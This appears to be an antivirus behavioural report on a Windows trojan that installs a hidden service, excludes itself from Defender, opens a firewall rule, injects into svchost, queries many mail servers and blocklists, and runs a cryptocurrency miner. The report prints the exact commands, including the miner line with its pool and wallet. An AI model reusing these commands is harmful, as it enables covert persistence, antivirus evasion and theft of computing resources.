Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ofkgadbk] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ofkgadbk] 'ImagePath' = '%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ofkgadbk] 'ImagePath' = '%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ofkgadbk' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\dgmgvgrx.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\dgmgvgrx.exe to %WINDIR%\syswow64\ofkgadbk\dgmgvgrx.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ex######.assistances.exchange
- DNS ASK kl.com
- DNS ASK sa#####ncent-rennes.net
- DNS ASK ma##.icodia.com
- DNS ASK google.com
- DNS ASK am##1.com
- DNS ASK sm##.####pe.secureserver.net
- DNS ASK mx.##oeuro.com
- DNS ASK be###kyriad.com
- DNS ASK ap####line.com.br
- DNS ASK au#####nformatique.fr
- DNS ASK tv##.net.au
- DNS ASK in######.hes.trendmicro.com
- DNS ASK ya##o.it
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK au####lien-info.de
- DNS ASK he##op.se
- DNS ASK ma##.##elonline.com.br
- DNS ASK cs.com
- DNS ASK as#f.dk
- DNS ASK ma####03.lmco.com
- DNS ASK se####utilities.com
- DNS ASK ma##.asatys.com
- DNS ASK bl###urrent.com
- DNS ASK xt##.co.nz
- DNS ASK mx.##ra.co.nz
- DNS ASK al###rayef.com
- DNS ASK al##########om.mail.protection.outlook.com
- DNS ASK as#####rminals.com.ph
- DNS ASK ma###.##ianterminals.com.ph
- DNS ASK ap##ig.com
- DNS ASK ma##.appdig.com
- DNS ASK tr###age.com.au
- DNS ASK tr##########-au.mail.protection.outlook.com
- DNS ASK sa#####opalacehotel.com
- DNS ASK sm##.##cureserver.net
- DNS ASK be#####thospitals.com
- DNS ASK ma##.###celona-on-line.es
- DNS ASK lm##.com
- DNS ASK mx#.nsec.se
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK li#e.fr
- DNS ASK ap#####ent-baltic.net
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ec####riantours.com
- DNS ASK we##aus.be
- DNS ASK ma##.webhaus.be
- DNS ASK bi####tpharma.com
- DNS ASK wo####orthit.com
- DNS ASK re####.boostict.com
- DNS ASK ms#.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK to####tcompany.com
- DNS ASK mx#.###.#ailpod8-cph3.one.com
- DNS ASK ra#####ershenson.com
- DNS ASK Ra############n-com01c.mail.protection.outlook.com
- DNS ASK us####nts.com.au
- DNS ASK in####nterior.se
- DNS ASK mx##.webland.nu
- DNS ASK ma###omepro.com
- DNS ASK st###fors.se
- DNS ASK sr#####.stralfors.se
- DNS ASK ya##o.de
- DNS ASK ma##.#####ein-blanc-assurances.fr
- DNS ASK fp##sa.com
- DNS ASK as##ys.com
- DNS ASK ur###oup.com.au
- DNS ASK aw###ire.com
- DNS ASK aw##########.mail.protection.outlook.com
- DNS ASK co###serve.com
- DNS ASK ty####gess.com.au
- DNS ASK ba#c.de
- DNS ASK mx#.##bhoster.de
- DNS ASK bl##win.ch
- DNS ASK mx##.#b.bluewin.ch
- DNS ASK ub###ate.com.au
- DNS ASK fi####.austweb.com.au
- DNS ASK lo##ia.se
- DNS ASK ma##.loopia.se
- DNS ASK ba#####on-kolbermoor.de
- DNS ASK ma##.####inton-kolbermoor.de
- DNS ASK pe###oft.co.za
- DNS ASK sp####ll.xnet.co.za
- DNS ASK cf##law.com
- DNS ASK cf#####.#om.1.0001.arsmtp.com
- DNS ASK un#####alevents.com.au
- DNS ASK fi#####.##mgro-1.mailguard.com.au
- DNS ASK ho##ail.de
- DNS ASK ar###tajhiz.com
- DNS ASK mx#.##rthlink.net
- DNS ASK ea###link.net
- DNS ASK ma###.##x.gridhost.co.uk
- DNS ASK es##aw.com
- DNS ASK es####.com.1.arsmtp.com
- DNS ASK ni#####roxinha.com.br
- DNS ASK el####tsclub.com
- DNS ASK ol####ano.com.br
- DNS ASK su#.com
- DNS ASK us#####20.oracle.com
- DNS ASK ym##l.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ip####istance.com
- DNS ASK mx#######c02.gslb.pphosted.com
- DNS ASK tr####aster.com.au
- DNS ASK tr#########-com-au.p10.mxthunder.com
- DNS ASK ni##.org
- DNS ASK ma##.nics.org
- DNS ASK la##eks.com
- DNS ASK li#e.se
- DNS ASK gm##l.com
- DNS ASK eh##igh.com
- DNS ASK va####ysa.asn.au
- DNS ASK na##.com
- DNS ASK mx###ain.qq.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK pr###gy.net.mx
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK pu######1.mail2world.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK hk.####n.herominers.com
- DNS ASK pe###trix.com
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK ec##te.com
- DNS ASK ASPMX.L.GOOGLE.com
- DNS ASK to###gar.com.au
- DNS ASK mx#.##tregistry.net
- DNS ASK an##ei.cn
- DNS ASK an###eangel.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK si#######blanc-assurances.fr
- DNS ASK mx#.#ate.com
- DNS ASK bo####medflight.org
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK in#.#emec.com
- DNS ASK th###isons.com
- DNS ASK de###emark.com
- DNS ASK co##si.com
- DNS ASK mx#.##empresas.pt
- DNS ASK ya##o.com
- DNS ASK eb##.com
- DNS ASK mx#.###186-24.iphmx.com
- DNS ASK tr###y.com.au
- DNS ASK tr####tway.com.au
- DNS ASK ma##.##ansotway.com.au
- DNS ASK tr####call.com.au
- DNS ASK tr###########m-au.mail.protection.outlook.com
- DNS ASK aq###des.com
- DNS ASK pe####neltemps.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK st##ker.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK rc###shc.com
- DNS ASK ma###.#harancogroup.com
- DNS ASK qq.com
- DNS ASK mx#.qq.com
- DNS ASK te###pro.com
- DNS ASK se#####.inboundmx.com
- DNS ASK an#####eacresfarm.com
- DNS ASK ch####lights.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK an###stube.de
- DNS ASK mx##.#spgateway.de
- DNS ASK ko###atak.com
- DNS ASK sp###uyspot.com
- DNS ASK mx#######702.gslb.pphosted.com
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ma##.###rtament-baltic.net
- DNS ASK em#.att.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ofkgadbk\dgmgvgrx.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ofkgadbk\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dgmgvgrx.exe" %WINDIR%\SysWOW64\ofkgadbk\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ofkgadbk binPath= "%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ofkgadbk "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ofkgadbk' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ofkgadbk\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dgmgvgrx.exe" %WINDIR%\SysWOW64\ofkgadbk\
- '%WINDIR%\syswow64\sc.exe' create ofkgadbk binPath= "%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ofkgadbk "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ofkgadbk
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k
